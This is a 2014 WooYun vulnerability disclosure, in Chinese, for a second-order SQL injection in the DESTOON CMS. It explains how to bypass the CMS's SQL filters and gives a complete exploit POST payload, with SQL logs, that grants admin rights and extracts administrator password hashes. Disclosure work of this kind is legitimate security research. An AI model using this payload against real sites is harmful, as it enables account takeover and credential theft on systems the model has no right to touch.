漏洞概要 关注数(17) 关注此漏洞
缺陷编号: WooYun-2014-69012
漏洞标题: DESTOON 最新版注入可提升为管理员权限
相关厂商: DESTOON
漏洞作者: Noxxx
提交时间: 2014-07-19 18:32
公开时间: 2014-10-17 18:34
漏洞类型: SQL注射漏洞
危害等级: 高
自评Rank: 20
漏洞状态: 厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org
Tags标签: 无
漏洞详情
披露状态:
2014-07-19: 细节已通知厂商并且等待厂商处理中
2014-07-20: 厂商已经确认,细节仅向厂商公开
2014-07-23: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2014-09-13: 细节向核心白帽子及相关领域专家公开
2014-09-23: 细节向普通白帽子公开
2014-10-03: 细节向实习白帽子公开
2014-10-17: 细节向公众公开
简要描述:
20140716
注入,提升权限可登陆后台
(终于要升级了..)
详细说明:
由于注册的时候 公司名称没有做什么过滤 (只是 看是否有数字 如有就不通过 反之通过)
修改资料的时候又从数据库中吧 公司名称 查出来 然后进入查询流程所导致的注入 由于 admin权限的表不是独立的 所以我们可以更新 用户组
1 - 注册 判断公司名称的代码
在 member.class.php is_member() 中
124 - 130 行
2 - 修改资料 的代码
member/edit.inc.php
3 - edit() 的代码
4 . 构造exp
由于post是个数组 又用了 foreach 我们可以 随意控制数组的位置
而且可以 先把 post[company]=ok先赋值掉(占个位子) 后面接着我们可控字段就可以了
---
还有个就是 全局过滤的问题
strip_sql()
原先是 /select([[:space:]\*\/\-])/i这样的
只需要 select(xxx)from(xx) 这样就能了
现在是 /select([[:space:]\*\/\-\(])/i
不过 还是能绕过过滤 select+(XXXX)from
这样既可,还有个问题就是 where这个被直接过滤掉了
"/where/i"
更新的时候,就不好办了 容易把所有用户全部更新掉..
研究了一下 ORDER BY username=16541651564 DESC LIMIT 1 这样就可以了 .. 不过你注册的用户名必须为数字的
exp:
tab=3&post[truename]=1&post[sound]=1&post[type]=1111&post[areaid]=1&post[catid]=,0,&post[business]=11ssssssssssssssss&post[regyear]=2004&post[regunit]=14&post[company]=ok&post[address]=,groupid=1 ORDER BY username=16541651564 DESC LIMIT 1#&post[ali]=,groupid=1,admin=1 ,mobile=(SELECT+PW FROM(SELECT+(MAKE_SET(-1,admin,username,PASSWORD)) AS PW FROM destoon_member ORDER BY admin DESC ) a LIMIT 0,1) ORDER BY username=16541651564 DESC LIMIT 1 #&&post[telephone]=132232132&post[fax]=&post[mail]=&post[homepage]=&post[introduce]=aaaaa&submit=1
mobile=这里也可以直接 (SELECT+(MAKE_SET(-1,admin,username,PASSWORD)) LIMIT 0,1)
我这个有点麻烦..sql没学多少。。
sql日志
UPDATE destoon_member SET truename='1',sound='1',areaid='1',company='xxxxx\',ali=',groupid=1,admin=1 ,mobile=(SELECT+PW FROM(SELECT+(MAKE_SET(-1,admin,username,PASSWORD)) AS PW FROM destoon_member ORDER BY admin DESC ) a LIMIT 0,1) ORDER BY username=16541651564 DESC LIMIT 1 #',groupid='6',email='1231ee23@**.**.**.**',passport='16541651564',edittime='1405752561',bank='',account='',vemail='0',vmobile='0',vtruename='0',vbank='0',vcompany='0',vtrade='0',trade='',support='',inviter='',msn='',qq='' WHERE userid=12
UPDATE destoon_company SET type='1111',areaid='1',catid=',0,',business='11ssssssssssssssss',regyear='2004',regunit='14',company='xxxxx\',address=',groupid=1 ORDER BY username=16541651564 DESC LIMIT 1#',telephone='132232132',fax='',mail='',homepage='',introduce='',groupid='6',domain='',icp='',skin='',template='',validated='0',validator='',validtime='0',postcode='',mode='',keyword='xxxxx\默认地区,11ssssssssssssssss,,,',capital='',catids=',,',linkurl='**.**.**.**/php/destoon_new/index.php?homepage=16541651564' WHERE userid=12
-----------------
注册的时候用burp 修改下公司 名称 :xxx\
漏洞证明:
修复方案:
过滤
版权声明:转载请注明来源 Noxxx@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:18
确认时间:2014-07-20 11:31
厂商回复:
感谢反馈,我们会尽快修复
最新状态:
暂无
漏洞评价:
对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值
100%
0%
0%
0%